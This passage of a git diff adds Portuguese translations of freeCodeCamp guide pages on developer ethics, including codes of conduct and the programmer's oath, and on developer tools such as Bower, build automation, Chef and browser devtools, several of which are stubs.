+*   [**Violações de seguro da Zenefits**](http://www.techwire.net/news/zenefits-fined-7-million-for-california-insurance-violations.html) - O ex-CEO da Zenefits, Parker Conrad, criou uma extensão de navegador que permitia a seus corretores fingirem que haviam concluído um curso de treinamento on-line de 52 horas que os agentes de seguros precisam fazer para se licenciarem na Califórnia.
+    
+
+\-
+
+#### Mais Informações
+
+*   [O que o Uber, Volkswagen e Zenefits têm em comum? Todos eles usaram código oculto para violar a lei.](https://medium.freecodecamp.org/dark-genius-how-programmers-at-uber-volkswagen-and-zenefits-helped-their-employers-break-the-law-b7a7939c6591)
+*   [10+ coisas que você pode fazer para evitar violações éticas](http://www.techrepublic.com/blog/10-things/10-plus-things-you-can-do-to-avoid-ethical-breaches/)
+*   [Os programadores estão tendo uma grande discussão sobre as coisas antiéticas e ilegais que foram solicitadas a fazer](http://uk.businessinsider.com/programmers-confess-unethical-illegal-tasks-asked-of-them-2016-11?op=1)
+*   [Facebook enfrenta críticas em meio a alegações de que violou diretrizes éticas com estudo](https://www.theguardian.com/technology/2014/jun/30/facebook-internet)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/index.md b/client/src/guide/portuguese/developer-ethics/index.md
new file mode 100644
index 0000000000..55726b789d
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/index.md
@@ -0,0 +1,44 @@
+---
+title: Developer Ethics
+localeTitle: Ética do desenvolvedor
+---
+## Ética do desenvolvedor
+
+A ética do desenvolvedor descreve o campo da ética quando aplicada ao comportamento dos desenvolvedores de software.
+
+De acordo com [a Internet Encyclopedia of Philosophy](http://www.iep.utm.edu/ethics/) , o campo da ética (ou filosofia moral) envolve "sistematizar, defender e recomendar conceitos de certo e errado".
+
+Ao longo dos anos, várias organizações e indivíduos tentaram codificar a ética do desenvolvedor em uma variedade de juramentos, promessas e códigos de conduta.
+
+Exemplos incluem:
+
+*   [**O Padrão Internacional para Desenvolvimento de Software Profissional e Responsabilidade Ética**](http://seeri.etsu.edu/TheSECode.htm) pela Força-Tarefa Conjunta IEEE-CS / ACM sobre Ética em Engenharia de Software e Práticas Profissionais
+    
+*   [**Os Dez Mandamentos da Ética em Computação**](http://computerethicsinstitute.org/publications/tencommandments.html) pelo Instituto de Ética em Computação
+    
+*   [**O juramento do profissional de computação**](http://pledge-of-the-computing-professional.org/home-page/the-oath)
+    
+*   [**O Compromisso do Codificador Confiável**](https://medium.com/@BillSourour/the-trustworthy-coders-pledge-aa5ba046c5aa) por Bill Sourour
+    
+*   [**O juramento do programador**](https://www.youtube.com/watch?v=36NgPu9OyRM&list=PLWKjhJtqVAbno-B4RmJHCDO0ZUKC2tpUQ) pelo "tio Bob" Martin
+    
+*   [**O juramento "Nunca mais"**](http://neveragain.tech)
+    
+*   [**Código de Ética da ACM**](http://www.acm.org/about-acm/acm-code-of-ethics-and-professional-conduct)
+    
+
+Temas comuns que aparecem ao longo destes exemplos incluem um compromisso com a honestidade, integridade e justiça.
+
+Até hoje, como a maioria dos desenvolvedores de software não pertence a - nem é governada por - nenhuma ordem oficial, associação, associação ou sociedade, nenhum padrão ético codificado foi amplamente adotado.
+
+\-
+
+#### Mais Informações:
+
+*   Entrada em [informática e ética da informação](https://plato.stanford.edu/archives/win2014/entries/ethics-computer/) na Enciclopédia de Filosofia de Stanford.
+    
+*   Entrada de [Ética de Computador](https://en.wikipedia.org/wiki/Computer_ethics) na WikiPedia
+    
+*   [CSE 302 - Ética Profissional em Ciência da Computação](http://www3.cs.stonybrook.edu/~mueller/teaching/cse302/) - esboço e material de estudo para um curso ministrado no departamento de Ciência da Computação da Faculdade de Engenharia e Ciências Aplicadas da Stony Brook University.
+    
+*   [Uma História Muito Curta da Ética em Computação](https://web.archive.org/web/20080418122849/http://www.southernct.edu/organizations/rccs/resources/research/introduction/bynum_shrt_hist.html) - artigo da edição de verão de 2000 do Boletim da American Philosophical Association sobre Filosofia e Computação
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/resources/index.md b/client/src/guide/portuguese/developer-ethics/resources/index.md
new file mode 100644
index 0000000000..f5d995a3b6
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/resources/index.md
@@ -0,0 +1,31 @@
+---
+title: Resources
+localeTitle: Recursos
+---
+Onde você vai se você tem uma questão ética como desenvolvedor? Esta página é uma lista de recursos que você pode usar para ajudar em uma situação desafiadora.
+
+1.  Associações de membros do desenvolvedor
+
+Associações membros existem para promover a integridade de profissões específicas. Muitas vezes, uma das associações de serviços fornece é na área da ética.
+
+Uma dessas associações é a [Association for Computing Machinery](http://www.acm.org/about-acm/code-of-ethics) . Ele fornece um [código de ética](http://ethics.acm.org/code-of-ethics) que você pode referenciar. Eles também fornecem recursos contínuos na área de ética para desenvolvedores.
+
+Outra fonte é a International Game Developers Association, que também tem um [código de ética](https://www.igda.org/?page=codeofethics) .
+
+2.  Fique atento ao que está acontecendo no mundo do desenvolvimento
+
+A leitura de desafios éticos no mundo do desenvolvimento o ajudará a desenvolver seu próprio senso de "o que eu faria" antes que surja a necessidade.
+
+Fique atento e pense no que você faria se enfrentasse uma situação semelhante. Pratique sua resposta em uma situação desafiadora. Um artigo que poderia ajudar a informar sua opinião é [Se os desenvolvedores de software tiverem um código de ética](https://www.cio.com/article/3156565/developer/should-software-developers-have-a-code-of-ethics.html) da cio.com.
+
+3.  Inicie conversas com seus colegas agora.
+
+A ética é altamente influenciada pela cultura do escritório, portanto, dê o exemplo. Seja essa pessoa em sua organização que fala abertamente sobre ética e defende uma cultura mais ética quando possível. A Pyschology Today tem dicas sobre como [construir uma cultura ética](https://www.psychologytoday.com/blog/do-the-right-thing/201507/six-ways-create-culture-ethics-in-any-organization) .
+
+4.  Não desista
+
+Pode ser fácil ficar desorientado quando uma nova falha ética acontece - mas não. Criar um futuro ético para os desenvolvedores levará todos nós.
+
+5.  Conheça o seu "porquê"
+
+Pense nos seus usuários. Pense na sua comunidade. Pense na sua família. Antes que você esteja em uma situação desafiadora, saiba por que você fará a coisa certa.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-ethics/the-programmers-oath/index.md b/client/src/guide/portuguese/developer-ethics/the-programmers-oath/index.md
new file mode 100644
index 0000000000..2abd784005
--- /dev/null
+++ b/client/src/guide/portuguese/developer-ethics/the-programmers-oath/index.md
@@ -0,0 +1,109 @@
+---
+title: The Programmers Oath
+localeTitle: Juramento dos programadores
+---
+## Juramento dos programadores
+
+O juramento de programadores é um juramento criado por Robert C. Martin, destacando as diretrizes para uma web melhor. O juramento é o seguinte:
+
+> A fim de defender e preservar a honra da profissão de programadores de computador, Eu prometo que, com o melhor de minha capacidade e julgamento:
+> 
+> 1.  Eu não vou produzir código prejudicial.
+> 2.  O código que eu produzo sempre será meu melhor trabalho. Eu não permitirei conscientemente código que seja defeituoso em comportamento ou estrutura para se acumular.
+> 3.  Produzirei, a cada lançamento, uma prova rápida, segura e repetível de que todos os elementos do código funcionam como deveriam.
+> 4.  Farei lançamentos freqüentes e pequenos para não impedir o progresso dos outros.
+> 5.  Eu vou sem medo e implacavelmente melhorar minhas criações em todas as oportunidades. Eu nunca vou degradá-los.
+> 6.  Farei tudo o que puder para manter a produtividade de mim mesmo e dos outros o mais alto possível. Não farei nada que diminua essa produtividade.
+> 7.  Eu vou garantir continuamente que os outros possam me cobrir e que eu possa cobri-los.
+> 8.  Vou produzir estimativas que sejam honestas tanto em magnitude quanto em precisão. Eu não farei promessas sem certeza.
+> 9.  Eu nunca vou parar de aprender e melhorar meu ofício.
+
+[Uma série da Web no canal freeCodeCamp detalha](https://www.youtube.com/watch?v=36NgPu9OyRM) o que o juramento significa e como seguir o juramento.
+
+### Promessa 1
+
+> 1.  Eu não vou produzir código prejudicial.
+
+#### O que é código prejudicial?
+
+Código prejudicial é um código que é prejudicial para clientes, colegas programadores ou para a estrutura do sistema. O dano vem de muitas formas diferentes. **Você,** como programador profissional, promete não produzir código prejudicial, seja qual for o dano, em seu julgamento e no julgamento de seus colegas.
+
+### Promessa 2
+
+> 2.  O código que eu produzo sempre será meu melhor trabalho. Eu não permitirei conscientemente código que seja defeituoso em comportamento ou estrutura para se acumular.
+
+Como programador, você quer acreditar em fazer o seu melhor trabalho e nunca quer estar em uma situação em que o código que você libera não seja, conscientemente, seu melhor trabalho.
+
+Você não deseja permitir que códigos com defeito acumulem no seu sistema. Você pode não conseguir impedi-lo de entrar no sistema (ex. Uma emergência de liberação), mas não permitirá que ele se acumule.
+
+Observe que, na promessa, há um aspecto de "comportamento" e "estrutura" no juramento. Algo que é defeituoso no comportamento é **claramente um problema,** mas o código defeituoso na estrutura irá diminuir a produtividade dos membros de sua equipe, até que você mal consiga fazer qualquer coisa.
+
+### Promessa 3
+
+> 3.  Produzirei, a cada lançamento, uma prova rápida, segura e repetível de que todos os elementos do código funcionam como deveriam.
+
+Clientes, usuários e até mesmo empresas esperariam que pudéssemos provar que nosso código funciona como deveria. Observe que, no juramento, há palavras como rápido, seguro e repetitivo. Você quer ser capaz de provar em um momento que o código ainda funciona como deveria.
+
+Se você adicionar um novo recurso, que não quebra nada mais antigo, ou consertar uma nova estrutura que não quebra nada que estava lá, você quer ser capaz de mostrar de forma rápida e fácil que o código ainda faz o que destina-se a fazer.
+
+### Promessa 4
+
+> 4.  Farei lançamentos freqüentes e pequenos para não impedir o progresso dos outros.
+
+A maneira mais simples de dizer isso é não verificar algo e verificar algo por um **mês** . Uma maneira mais perspicaz de dizer isso é dizer que tudo que você faz no código deve ser feito em pequenos passos. Se o que você está fazendo atualmente está bloqueando alguém, não pode bloqueá-lo por muito tempo **porque** você está fazendo isso em pequenos passos.
+
+A vantagem de trabalhar em pequenos passos é enorme. Certifique-se de que quando você faz coisas em commits, você faz commit de hora em hora. Quando você fizer check-ins, faça check-ins com frequência. Quando você faz mesclagens, você mescla com freqüência.
+
+### Promessa 5
+
+> 5.  Eu vou sem medo e implacavelmente melhorar minhas criações em todas as oportunidades. Eu nunca vou degradá-los.
+
+Sempre que você vir um problema no seu código, testes ou estrutura de lançamento, **melhore-o** . Mesmo que você não veja um problema, olhe para o seu código e diga a si mesmo: "Aposto que há uma maneira de melhorar isso. Posso melhorar isso de alguma forma".
+
+Nós somos humanos, nós fazemos as coisas melhor. Isso é o que os humanos fazem, ou pelo menos o que nós queremos que os humanos façam. Estaremos constantemente melhorando nosso código e nunca degradando-o propositalmente. Nunca piorando.
+
+### Promessa 6
+
+> 6.  Farei tudo o que puder para manter a produtividade de mim mesmo e dos outros o mais alto possível. Não farei nada que diminua essa produtividade.
+
+Isso é tudo sobre pensar em seus companheiros de equipe e associados. As pessoas que trabalham com você e as pessoas que dependem do seu código. Por exemplo, não faça nada que atrapalhe mais ninguém. Não escreva uma função com muitos argumentos ou faça uma bagunça no código de outra pessoa. Não faça isso com o código que outras pessoas dependem, porque isso só vai **atrasá-los** .
+
+Não coloque testes de longa duração no test-suite. Mantenha esses testes correndo rápido. Considere seus companheiros de equipe em todos os momentos. Considere o ambiente em todos os momentos. Mantenha tudo rápido. Não impeça a produtividade deles.
+
+### Promessa 7
+
+> 7.  Eu vou garantir continuamente que os outros possam me cobrir e que eu possa cobri-los.
+
+Isso é algo que muitas vezes deixamos de fazer. Somos uma equipe e a forma como as equipes se comportam é que, se outro colega de equipe cair, outro companheiro de equipe o cobre.
+
+Em software, o que isso significa é que você precisa saber como as coisas de seus colegas de equipe funcionam, e onde estão seus scripts, onde estão seus arquivos, como seu código está estruturado, etc.
+
+Se eles caírem, não queremos ter silos de conhecimento de nossas equipes, queremos que o conhecimento se espalhe.
+
+Uma maneira de fazer isso é através da programação de pares. Certifique-se de que você pode cobrir um para o outro.
+
+### Promessa 8
+
+> 8.  Vou produzir estimativas que sejam honestas tanto em magnitude quanto em precisão. Eu não farei promessas sem certeza.
+
+Um dos maiores problemas dos programadores é que eles fazem estimativas que são consideradas promessas. Quando você faz uma estimativa, precisa deixar bem claro que é um palpite, e não um palpite muito bom. Eu me certificaria de que, quando você faz estimativas, você as faça em três números: melhor caso, pior caso e caso nominal. Certifique-se de que todos saibam que o pior caso pode acontecer.
+
+Não faça promessas que você não está certo de que pode concluir. Se você fizer uma promessa, você tem que mantê-la.
+
+Quando alguém lhe disser "Eu preciso que isso seja feito até terça-feira", e você não tem certeza se pode fazê-lo até terça-feira, então você não promete. Você diz " **não** , não tenho certeza se posso fazer isso até terça-feira". Cuidado com muito cuidado, porque alguém pode dizer para você **tentar** , e sua resposta para isso seria: "Eu já estou tentando." Você já está tentando o seu melhor, então nunca deixe ninguém te convencer a se esforçar mais.
+
+### Promessa 9
+
+> 9.  Eu nunca vou parar de aprender e melhorar meu ofício.
+
+Isso não precisa de muita explicação. Você deve sempre tentar aprender novas linguagens, novas estruturas, novas técnicas, novas disciplinas, novos processos. Você precisa aplicar o que aprende então, para aprimorar constantemente seu ofício.
+
+### Promessa 10
+
+> 10.  Eu só vou produzir código que esteja de acordo com a ética.
+
+Os programadores devem trabalhar para desenvolver sistemas de computador que possam reduzir as conseqüências negativas para a sociedade, como ameaças à segurança e à saúde, e que possam tornar as atividades diárias e o trabalho mais fáceis. É “uma obrigação desenvolver-se a altos padrões”.
+
+### **Em conclusão:**
+
+Talvez devesse haver mais promessas que deveríamos fazer, de fato, muitas dessas promessas **podem não ser nem práticas** . No entanto, todas essas promessas parecem ser importantes de alguma forma e razoáveis ​​como um juramento que um programador profissional tomaria.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/bower/index.md b/client/src/guide/portuguese/developer-tools/bower/index.md
new file mode 100644
index 0000000000..d09c3be51e
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/bower/index.md
@@ -0,0 +1,33 @@
+---
+title: Bower
+localeTitle: Bower
+---
+## Bower
+
+Bower é um gerenciador de pacotes para a web. O Bower pode gerenciar componentes que contêm HTML, CSS, JavaScript, fontes ou até mesmo arquivos de imagem. Bower é otimizado para o front-end. Se vários pacotes dependem de um pacote - jQuery por exemplo - o Bower baixará o jQuery apenas uma vez. Isso é conhecido como um gráfico de dependência simples e ajuda a reduzir o carregamento da página.
+
+### Instalar Bower
+
+Bower é um utilitário de linha de comando. Instale-o com npm.
+
+```shell
+    npm install -g bower 
+```
+
+### Instalar pacotes
+
+Instalar pacotes com a instalação do bower. Bower instala pacotes para bower\_components /.
+
+```shell
+    bower install <package> 
+```
+
+### Mais Informações:
+
+O site da Bower: [bower.io](https://bower.io)
+
+Gerenciar recursos de front-end com o Bower: [scotch.io](https://scotch.io/tutorials/manage-front-end-resources-with-bower)
+
+Simplifique o fluxo de trabalho da Web com o Bower: [youtube](https://www.youtube.com/watch?v=Vs2wduoN9Ws)
+
+Usando Bower com Heroku: [médio](https://hackernoon.com/using-bower-with-heroku-cdc791320c88)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/build-automation/index.md b/client/src/guide/portuguese/developer-tools/build-automation/index.md
new file mode 100644
index 0000000000..e5804e0417
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/build-automation/index.md
@@ -0,0 +1,41 @@
+---
+title: Build Automation
+localeTitle: Automação de construção
+---
+## Automação de construção
+
+Build é uma versão do programa de software. O termo é usado em referência a um programa que ainda está em desenvolvimento. A automação de construção é o processo de automatizar a criação de uma compilação de software e os processos associados, incluindo: Compilar o código-fonte do computador em código binário, empacotar código binário e executar testes automatizados. O software de automação Build automatiza tarefas comumente executadas no processo de desenvolvimento de software. O build é automatizado quando as etapas para a criação de um software são repetíveis, não requerem intervenção humana direta e podem ser executadas a qualquer momento sem nenhuma informação além daquelas armazenadas no repositório de controle do código-fonte. O software de automação de construção geralmente se integra a produtos de teste de software, sistemas de controle de versão, IDEs, ferramentas de rastreamento de bugs e provedores de PaaS. Historicamente, a automação de construção foi realizada através de 'makefiles'. Atualmente, existem duas categorias gerais de ferramentas para automação de construção:
+
+## \- Construir utilitário de automação:
+
+Seu objetivo principal é gerar artefatos de construção por meio de atividades como compilar e vincular o código-fonte.
+
+## \- Construa servidores de automação:
+
+São ferramentas gerais baseadas na web que executam utilitários de automação de construção em uma base planejada ou acionada; O servidor de integração contínua é um tipo de servidor de automação de construção.
+
+Existem três subcategorias para automação de compilação: Integração contínua, gerenciamento de configuração e outras automações de compilação.
+
+Abaixo está uma lista de algumas ferramentas notáveis ​​associadas à automação de processos de construção:
+
+*   GNU make
+*   faço
+*   mk
+*   Formiga Apache
+*   BitBake
+*   Boot
+*   Ninja
+*   Qt Build system
+*   Ancinho
+*   Pilha
+*   Psake
+*   MSBuild
+*   Visual Build
+*   Tweaker
+*   Waf
+*   [Jenkins](https://jenkins.io/)
+*   TeamCity e outros.
+
+#### Mais Informações:
+
+[O que é automação de construção?](https://www.agilealliance.org/glossary/automated-build/#q=~(filters~(postType~(~'page~'post~'aa_book~'aa_event_session~'aa_glossary~'aa_organizations~'aa_research_paper~'aa_video)~tags~(~'automated*20build))~searchTerm~'~sort~false~sortDirection~'asc~page~1)) [Lista de software de automação de construção](https://en.m.wikipedia.org/wiki/List_of_build_automation_software) [Automação de construção - Wikipedia](https://en.m.wikipedia.org/wiki/Build_automation) [Webopedia](https://www.webopedia.com/TERM/B/build.html) [Automação de construção](https://www.g2crowd.com/categories/build-automation)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/certbot/index.md b/client/src/guide/portuguese/developer-tools/certbot/index.md
new file mode 100644
index 0000000000..2e0eb25702
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/certbot/index.md
@@ -0,0 +1,13 @@
+---
+title: Certbot
+localeTitle: Certbot
+---
+## Certbot
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/certbot/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
+
+https://certbot.eff.org/ Habilite automaticamente o HTTPS em seu site com o Certbot da EFF, implantando certificados Let's Encrypt.
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/chef/index.md b/client/src/guide/portuguese/developer-tools/chef/index.md
new file mode 100644
index 0000000000..541d9c2d60
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/chef/index.md
@@ -0,0 +1,74 @@
+---
+title: Chef
+localeTitle: líder
+---
+## Chefe de cozinha
+
+Chef é uma ferramenta de automação que transforma a infraestrutura em código. Em outras palavras, é uma ferramenta usada para automatizar a criação e a configuração de sua infraestrutura. Também é usado para manter sua infraestrutura depois de criada.
+
+### Por que usar o Chef
+
+Há várias coisas a considerar antes de um aplicativo totalmente concluído e testado entrar em produção. Algumas das principais coisas são,
+
+*   Criação de infraestrutura (nuvem ou on-premisis)
+*   Configuração
+*   Manter infra-estrutura
+
+Você pode criar manualmente sua infraestrutura, configurá-la e mantê-la. É um processo muito tedioso e as chances de cometer um erro são altas. Qualquer manual exige muita atenção aos detalhes, treinando outros membros da sua equipe e constantemente atentos para garantir que tudo esteja funcionando como esperado. Se a sua aplicação evoluir rapidamente, toda vez que for para a produção, você terá que fazer todos esses trabalhos manualmente.
+
+Chef é uma ferramenta que ajuda na automação deste processo. Você escreve código (o chef usa _Ruby_ ) para sua infraestrutura e controle de origem. Chef lerá este código para criar e configurar sua infraestrutura automaticamente. As vantagens de usar o Chef são,
+
+*   A criação e configuração da infraestrutura é automatizada
+*   Monitoramento e manutenção são automatizados
+*   As chances de um erro são insignificantes
+*   Infraestrutura é controlada por fonte
+*   Implemente o aplicativo rapidamente e com frequência
+
+### Imagem grande e componentes
+
+![Chef big picture](https://docs.chef.io/_images/chef_overview.svg "Visão geral do chef")
+
+Os principais componentes são,
+
+*   Livro de Receitas e Receitas
+*   Nó
+*   Posto de trabalho
+*   Chef Server
+*   Chef Client
+
+#### Livro de Receitas e Receitas
+
+Um livro de receitas é a unidade fundamental da configuração. Ele define um cenário e contém tudo o que é necessário para suportar esse cenário. Livro de receitas contém as seguintes coisas,
+
+*   Receitas
+*   Valores de atributo
+*   Distribuições de arquivos
+*   Modelos
+*   Extensões para recursos e bibliotecas customizados
+
+Receita é o elemento de configuração mais fundamental. É criado usando _Ruby_ e consiste em uma coleção de recursos necessários para configurar um sistema. Deve ser armazenado em um livro de receitas.
+
+#### Nó
+
+Um nó é qualquer máquina gerenciada pelo Chef. Pode ser físico, virtual, nuvem, dispositivo de rede, etc.
+
+#### Posto de trabalho
+
+Estação de trabalho (a região azul em grande figura) é um computador que executa o Kit de Desenvolvimento Chef (ChefDK) para desenvolver e testar livros de receitas e receitas. Basicamente, é a sua máquina local onde você escreve e testa os scripts Chef que são usados ​​posteriormente para automatizar a infraestrutura. Chef scripts da estação de trabalho é carregado para o Chef Server, uma vez que está pronto.
+
+#### Chef Server
+
+O servidor do chef atua como um hub para dados de configuração. Ele armazena todos os dados de configuração, como livros de receitas, receitas, modelos e distribuições de arquivos necessários para a criação e configuração da infraestrutura.
+
+#### Chef Client
+
+Um Chef Client é um agente que é executado localmente em todos os nós gerenciados pelo Chef. Ele se comunica com o Chef Server para obter os dados de configuração necessários para configurar o nó. O cliente Chef é responsável por executar todas as etapas necessárias para colocar um nó no estado esperado. As diferentes etapas incluem,
+
+*   Registrando e autenticando o nó com o servidor Chef
+*   Sincronizando livros de culinária
+*   Compilando e executando as receitas necessárias
+*   Lidando com exceções e notificações
+
+#### Mais Informações:
+
+Uma documentação mais detalhada pode ser encontrada aqui - [Documentação do Chef](https://docs.chef.io/chef_overview.html "Chefe de cozinha")
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
new file mode 100644
index 0000000000..182017dff1
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/index.md
@@ -0,0 +1,25 @@
+---
+title: Chrome Developer Tools
+localeTitle: Ferramentas para desenvolvedores do Chrome
+---
+## Ferramentas de desenvolvimento do Chrome Firefox
+
+As ferramentas para desenvolvedores Chrome e Firefox auxiliam os desenvolvedores da web na análise de HTML, CSS e Javascript em uma página da web. Eles são úteis para depurar, otimizar código, inspecionar elementos e muito mais.
+
+**Características:**
+
+*   **Inspetor de páginas:** visualize e edite o conteúdo e o layout da página.
+*   **Console da Web:** consulte mensagens e erros do javascript console.log ()
+*   **Depurador JavaScript:** visualize e modifique o JavaScript em execução em uma página
+*   **Monitor de Rede:** Veja solicitações de rede feitas quando as páginas são carregadas
+*   **Ferramentas de desempenho:** analise os recursos do computador usados ​​pelo site
+
+### Acessando as ferramentas de desenvolvimento
+
+1.  Na barra de menus na parte superior da tela, selecione Visualizar> Desenvolvedor> Ferramentas do desenvolvedor. As ferramentas aparecerão na parte inferior, lateral ou como uma janela pop-out.
+2.  Em uma página da Web, clique com o botão direito do mouse em um elemento. Quando o menu aparecer, selecione "Inspecionar".
+
+### Mais Informações:
+
+*   [DevTools do Chrome](https://developer.chrome.com/devtools)
+*   [Ferramentas para desenvolvedores do Firefox](https://developer.mozilla.org/en-US/docs/Tools)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
new file mode 100644
index 0000000000..21f1f370c8
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Console
+localeTitle: Console JavaScript
+---
+## Console JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-console/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
new file mode 100644
index 0000000000..2500a8f79c
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md
@@ -0,0 +1,11 @@
+---
+title: JavaScript Debugger
+localeTitle: Depurador JavaScript
+---
+## Depurador JavaScript
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/javascript-debugger/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
new file mode 100644
index 0000000000..e1fddf41c4
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Network Performance
+localeTitle: Desempenho de Rede
+---
+## Desempenho de Rede
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/network-performance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
new file mode 100644
index 0000000000..9941f272a3
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md
@@ -0,0 +1,11 @@
+---
+title: Profiling Memory and Execution
+localeTitle: Criação de perfil de memória e execução
+---
+## Criação de perfil de memória e execução
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/profiling-memory-and-execution/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
new file mode 100644
index 0000000000..dc3bb64747
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md
@@ -0,0 +1,11 @@
+---
+title: Render Performance
+localeTitle: Desempenho de renderização
+---
+## Desempenho de renderização
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/chrome-developer-tools/render-performance/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
new file mode 100644
index 0000000000..65831316a0
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/chrome-developer-tools/screenshot-utility/index.md
@@ -0,0 +1,15 @@
+---
+title: Useful screenshot shortcuts
+localeTitle: Atalhos de captura de tela úteis
+---
+### Funcionalidade de captura de tela do DevTools
+
+Ao usar as ferramentas de desenvolvedor do Chrome, pode ser útil capturar uma captura de tela de toda a página. E, embora existam complementos para isso, o Google Chrome tem sua própria funcionalidade incorporada.
+
+## Passos
+
+1.  Abra o Devtools do Chrome
+2.  em Devtools Ctrl + P (Cmd + P no Mac)
+3.  Comece a digitar> captura de tela
+4.  Escolha entre as funções disponíveis (capturar captura de tela inteira foi de longe a minha mais útil)
+5.  Aproveite sua nova captura de tela
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
new file mode 100644
index 0000000000..a0f3d23ff4
--- /dev/null
+++ b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md
@@ -0,0 +1,11 @@
+---
+title: Firefox Developer Tools
+localeTitle: Ferramentas para desenvolvedores do Firefox
+---
+## Ferramentas para desenvolvedores do Firefox
+
+Este é um esboço. [Ajude nossa comunidade a expandi-lo](https://github.com/freecodecamp/guides/tree/master/src/pages/developer-tools/developer-tools-in-browsers/firefox-developer-tools/index.md) .
+
+[Este guia de estilo rápido ajudará a garantir que sua solicitação de recebimento seja aceita](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### Mais Informações:
\ No newline at end of file
diff --git a/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/index.md b/client/src/guide/portuguese/developer-tools/developer-tools-in-browsers/index.md
new file mode 100644
index 0000000000..51033a9e13
--- /dev/null
